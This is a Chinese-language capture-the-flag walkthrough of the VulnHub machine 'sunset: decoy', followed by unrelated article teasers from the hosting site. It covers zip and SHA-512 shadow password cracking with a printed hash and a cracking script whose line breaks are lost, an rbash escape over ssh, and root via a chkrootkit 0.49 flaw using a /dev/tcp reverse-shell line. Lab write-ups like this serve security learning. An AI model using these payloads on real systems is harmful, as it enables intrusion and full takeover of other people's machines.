vulnhub:sunset decoy

靶机下载地址https://www.vulnhub.com/entry/sunset-decoy,505/

渗透过程

简单信息收集

nmap 192.168.56.0/24 -Pn
# 确定靶机ip:192.168.56.121
nmap 192.168.56.121 -A -T4
# 得到开放端口22,80

在80端口得到save.zip,需要密码解压。

john破解压缩包密码

zip2john save.zip > hash.txt
john hash.txt

得到密码manuel

shadow密码破解

解压后得到/etc/文件夹,内有shadow文件,尝试破解用户密码。

root外存在用户296640a3b825115a47b68fc44501c828

296640a3b825115a47b68fc44501c828:$6$x4sSRFte6R6BymAn$zrIOVUCwzMlq54EjDjFJ2kfmuN7x2BjKPdir2Fuc9XRRJEk9FNdPliX4Nr92aWzAtykKih5PX39OKCvJZV0us.:18450:0:99999:7:::

密文是$6开头,所以加密方式是SHA-512

网上找到一个破解脚本。

# coding=utf-8
import crypt
​
shadow_file = "/etc/shadow"                   # 获取系统密码路径
password_file = "/usr/share/wordlists/rockyou.txt"    # 自己的密码文件,里面放的是明文密码
​
​
def get_pass(shadow_file):used = {}                           # key是用户,value是对应的密文f = open(shadow_file, "r")        # 读取系统密码文件userline = f.readlines()            # 将该文件转换为列表格式f.close()for item in userline:                  # 遍历列表里的内容if len(item.split(":")[1]) > 3:    # 以":"分割,取第二个元素的长度,也就是完整密文值的长度,如果大于3,我们认定它有密码,把它取出来used[item.split(":")[0]] = item.split(":")[1]  # 我们将取出的密文给了相应的用户,这里的used[i.split(":")[0]]是字典的key,也就是系统中的用户名,后面的i.split(":")[1]是用户名后的加密密文return used
​
​
# 提取自己的密码文件中的明文密码
def look_d(password_file):f = open(password_file, 'r')mwlist = f.readlines()              # 将读取的内容转换为列表f.close()for i, item in enumerate(mwlist):mwlist[i] = item.strip("\n")    # 去除每一行的换行符return mwlist  # 返回这个列表
​
​
# 根据密文是否相同判断出对应的用户和密码
def main(user_passfile, zidian):used = get_pass(user_passfile)      # 获取用户和对用的加密密文mingwen = look_d(zidian)            # 获取所有的明文密码for user in used:passwd = used[user]             # 一次遍历每个用户的密文salt = "$6$" + passwd.split("$")[2]  # 获取盐值for passwdmw in mingwen:        # 遍历系统中的每个完整密文if passwd == crypt.crypt(passwdmw.rstrip(), salt):  # 如果我们猜想的密文与系统中的密文相同,输入它的用户名和密码print("userName:%s passWord:%s" % (user, passwdmw.rstrip()))
​
​
if __name__ == "__main__":main(shadow_file, password_file)

get密码:server


rbash逃逸

ssh远程登录后发现是rbash,即restricted shell,受限制的bash,体现为

  • 不能使用cd命令。

  • 不能使用>,<>,>>等重定向操作符。

  • 不能设置或取消环境变量。

rbash逃逸有很多种方式,这里测试后适用的是ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)

ssh 296640a3b825115a47b68fc44501c828@192.168.56.121 -t "bash --noprofile"# 不加载用户配置
# -t "bash --noprofile"

rbash逃逸成功后发现仍、cat、vim等命令依旧无法使用,

需要配置环境变量。

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

完美解决,get user.txt。

用户目录内容如下:

存在一个root用户创建的honeypot.decoy可执行文件,他有8个功能,其中除选项五之外都是简单易懂的功能,选择选项五后无回显,不清楚具体作用。

rbash逃逸部分参考rbash逃逸大全-先知社区 (aliyun.com)

chkrootkit提权

SV-502/目录下的logs文件中发现一个可疑点,chkrootkit,这是一个后门检测工具。

搜索发现,chkrootkit 0.49版本有漏洞。searchsploit漏洞库搜索一下,searchsploit chkrootkit,锁定到33899.txt。

了解后知道,满足两点即可利用该漏洞获取root权限:

  • 如果目标机器管理员会定期运行chkrootkit。

  • 非root用户对/tmp/目录有写权限。(可以再该目录下创建有执行权限update文件)。

此处具体提权流程如下:

  1. 在tmp目录下创建update文件,并写入反弹shell。

    touch /tmp/update
    ​
    chmod +x /tmp/update
    ​
    echo "bash -c 'exec bash -i &>/dev/tcp/ip/4444 <&1'" > /tmp/update
  2. 运行chkrootkit,首先查看是否有这个定时任务❌;想到用户目录下那个可执行文件honeypot.decoy,执行后有8个选项,其中第五个选项意味不明Launch an AV Scan.,但是根据Scan有理由怀疑该选项就是执行chkrootkit。简单测试一下,选择选项五后使用ps -aux | grep chk验证发现运行了chkrootkit✔️

   

因此,提权操作如下:

# 靶机
./honeypot.decoy
5
# 攻击机
nc -lvvp 4444

提权成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/901208.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码学习总结(一)

代码学习总结&#xff08;一&#xff09; 这个系列的博客是记录下自己学习代码的历程&#xff0c;有来自平台上的&#xff0c;有来自笔试题回忆的&#xff0c;主要基于 C 语言&#xff0c;包括题目内容&#xff0c;代码实现&#xff0c;思路&#xff0c;并会注明题目难度&…

OSPF的接口网络类型【复习篇】

OSPF在不同网络环境下默认的不同工作方式 [a3]display ospf interface g 0/0/0 # 查看ospf接口的网络类型网络类型OSPF接口的网络类型&#xff08;工作方式&#xff09;计时器BMA&#xff08;以太网&#xff09;broadcast &#xff0c;需要DR/BDR的选举hello&#xff1a;10s…

PHM学习软件|PHM预测性维护系统

使用步骤教程如下 1、登录 用户名&#xff1a;52phm 密码&#xff1a;xxx &#xff08;区别在于不同用户密钥不一样&#xff09; 2、上传需要分析的数据集 支持数据集格式&#xff1a;csv、xlsx、xls、mat、json 3、主题1&#xff1a;机械参数计算 计算轴承、齿轮、皮带的…

MySQL MVCC 机制详解

MySQL MVCC 机制详解 1. MVCC 基本概念 MVCC 是一种并发控制的方法&#xff0c;主要用于数据库管理系统&#xff0c;允许多个事务同时读取数据库中的同一个数据项&#xff0c;而不需要加锁&#xff0c;从而提高了数据库的并发性能。 ┌──────────────────…

Model Context Protocol (MCP) - 尝试创建和测试一下MCP Server

1.简单介绍 MCP是Model Context Protocol的缩写&#xff0c;是Anthropic开源的一个标准协议。MCP使得大语言模型可以和外部的数据源&#xff0c;工具进行集成。当前MCP在社区逐渐地流行起来了。同时official C# SDK(仓库是csharp-sdk) 也在不断更新中&#xff0c;目前最新版本…

(三)行为模式:12、访问者模式(Visitor Pattern)(C++示例)

目录 1、访问者模式含义 2、访问者模式的UML图学习 3、访问者模式的应用场景 4、访问者模式的优缺点 5、访问者模式C实现的实例 1、访问者模式含义 访问者模式&#xff08;Visitor Pattern&#xff09;是一种行为型设计模式&#xff0c;它允许将一个作用于某对象结构中的各…

windows安卓子系统wsa隐藏应用列表的安装激活使用

Windows 11 安卓子系统应用部署全攻略 windows安卓子系统wsa隐藏应用列表的安装激活使用|过检测核心前端 在 Windows 11 系统中&#xff0c;安卓子系统为用户带来了在电脑上运行安卓应用的便利。经过一系列的操作&#xff0c;我们已经完成了 Windows 11 安卓子系统的底层和前端…

Elasticsearch 集群搭建

一、集群规划 1.1 节点角色规划 节点类型配置要求推荐数量Master节点低磁盘、中等CPU/内存3&#xff08;奇数防止脑裂&#xff09;Data节点高磁盘、高内存、多核CPU根据数据量扩展Coordinating节点高CPU/内存、低磁盘2&#xff08;可选&#xff09; 1.2 硬件建议 内存&…

React 响应事件

开发环境&#xff1a;Reacttsantd 使用 React 可以在 JSX 中添加 事件处理函数。其中事件处理函数为自定义函数&#xff0c;它将在响应交互&#xff08;如点击、悬停、表单输入框获得焦点等&#xff09;时触发。 学习内容 1.编写事件处理函数的不同方法 2.如何从父组件传递事件…

SQL基础入门:从CRUD到JOIN再到索引(通俗易懂版)

一、为什么需要SQL&#xff1f; 想象你在管理一个图书馆&#xff1a; 传统方法&#xff1a;手动记录每本书的位置、借阅者、归还日期SQL方法&#xff1a;用数据库系统自动管理&#xff0c;快速查询《Java编程思想》在哪个书架 SQL&#xff08;Structured Query Language&…

MINIQMT学习课程Day11

现在开始进行策略的交易买卖分析&#xff1a; 还是之前的步骤&#xff0c;打开qmt&#xff0c;选择独立交易&#xff0c; 之后使用pycharm&#xff0c;编写py文件 导入包&#xff1a; import time, datetime, traceback, sys from xtquant import xtdata from xtquant.xttr…

# 实时人脸性别与年龄识别:基于OpenCV与深度学习模型的实现

实时人脸性别与年龄识别&#xff1a;基于OpenCV与深度学习模型的实现 在当今数字化时代&#xff0c;计算机视觉技术正以前所未有的速度改变着我们的生活与工作方式。其中&#xff0c;人脸检测与分析作为计算机视觉领域的重要分支&#xff0c;已广泛应用于安防监控、智能交互、…

Python Cookbook-5.14 给字典类型增加排名功能

任务 你需要用字典存储一些键和“分数”的映射关系。你经常需要以自然顺序(即以分数的升序)访问键和分数值&#xff0c;并能够根据那个顺序检查一个键的排名。对这个问题&#xff0c;用dict 似乎不太合适。 解决方案 我们可以使用 dict 的子类&#xff0c;根据需要增加或者重…

十四种逻辑器件综合对比——《器件手册--逻辑器件》

目录 逻辑器件 简述 按功能分类 按工艺分类 按电平分类 特殊功能逻辑器件 应用领域 详尽阐述 1 逻辑门 一、基本概念 二、主要类型 三、实现方式 四、应用领域 2 反相器 工作原理 基本功能 主要应用 常见类型 特点 未来发展趋势 3 锁存器 基本概念 工作原理 主要类型…

如何更改wsl2中的ubuntu默认安装位置

先前的一篇文章提到了如何更改wsl里面ubuntu的home目录&#xff0c;wsl装ubuntu的home目录在哪&#xff0c;如何更改home&#xff1f;_wsl安装的ubuntu在哪里-CSDN博客 这次是要更改wsl中ubuntu的安装目录&#xff0c;毕竟默认安装到c盘下会占用不少空间的。 从微软商店get后…

最近在工作中感受到了设计模式的重要性

之前了解设计模式&#xff1a;只是应付一下面试 在之前一年多的工作中也没遇到使用场景 最近在搭建验证环境的时候&#xff0c;才发现这玩意这么重要 首先是设计模式的使用场景一定是在很复杂繁琐的场景下进行的 之所以说是复杂/繁琐的场景&#xff0c;因为一些场景也许逻辑不难…

Python深度学习基础——卷积神经网络(CNN)(PyTorch)

CNN原理 从DNN到CNN 卷积层与汇聚 深度神经网络DNN中&#xff0c;相邻层的所有神经元之间都有连接&#xff0c;这叫全连接&#xff1b;卷积神经网络 CNN 中&#xff0c;新增了卷积层&#xff08;Convolution&#xff09;与汇聚&#xff08;Pooling&#xff09;。DNN 的全连接…

Linux 第三讲 --- 基础指令(三)

前言&#xff1a; 在前面我们已经讲了有十几个Linux的基础指令&#xff0c;今天我们再补充几个常用的基础指令&#xff0c;为后面的学习做准备 。 目录 前言&#xff1a; 一、两个与时间相关的指令 1.date指令 演示 &#xff1a; 时间戳 设置时间 2、cal指令 演示&#x…

基于SiamFC的红外目标跟踪

基于SiamFC的红外目标跟踪 1,背景与原理2,SiamFC跟踪方法概述2.1 核心思想2.2 算法优势3,基于SiamFC的红外跟踪代码详解3.1 网络定义与交叉相关模块3.2 SiamFC 跟踪器实现3.3 主程序:利用 OpenCV 实现视频跟踪4,总结与展望在红外监控、无人机防御以及低光照场景中,红外图…

Odoo 部署本地 把現時的excel計算表格部署上odoo 教程

要将现有的 Excel 计算表格部署到 Odoo 平台上&#xff0c;您可以按照以下步骤进行操作&#xff1a; 将 Excel 表格中的数据转移到 Odoo 模块中&#xff1a;首先&#xff0c;您需要将 Excel 表格中的数据导出为 CSV 格式&#xff0c;然后可以使用 Odoo 的数据导入功能将这些数据…